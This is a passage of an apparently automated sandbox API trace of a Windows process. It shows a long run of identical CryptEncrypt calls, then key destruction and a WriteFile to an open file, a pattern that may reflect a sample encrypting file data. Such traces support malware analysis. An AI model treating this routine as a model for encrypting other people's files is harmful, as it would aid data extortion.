pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.288] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.288] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.288] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.288] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.288] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.288] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.288] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.288] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.288] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.288] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.288] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.288] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.288] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.288] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.288] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.288] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.293] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.293] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.293] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.293] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.293] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.293] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.293] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.293] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.293] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.293] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.293] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.293] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.296] CryptDestroyKey (hKey=0x1639528) returned 1 [0063.296] CryptReleaseContext (hProv=0x163bec0, dwFlags=0x0) returned 1 [0063.296] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x13d8b, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.296] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0063.297] GetProcessHeap () returned 0x1600000 [0063.297] 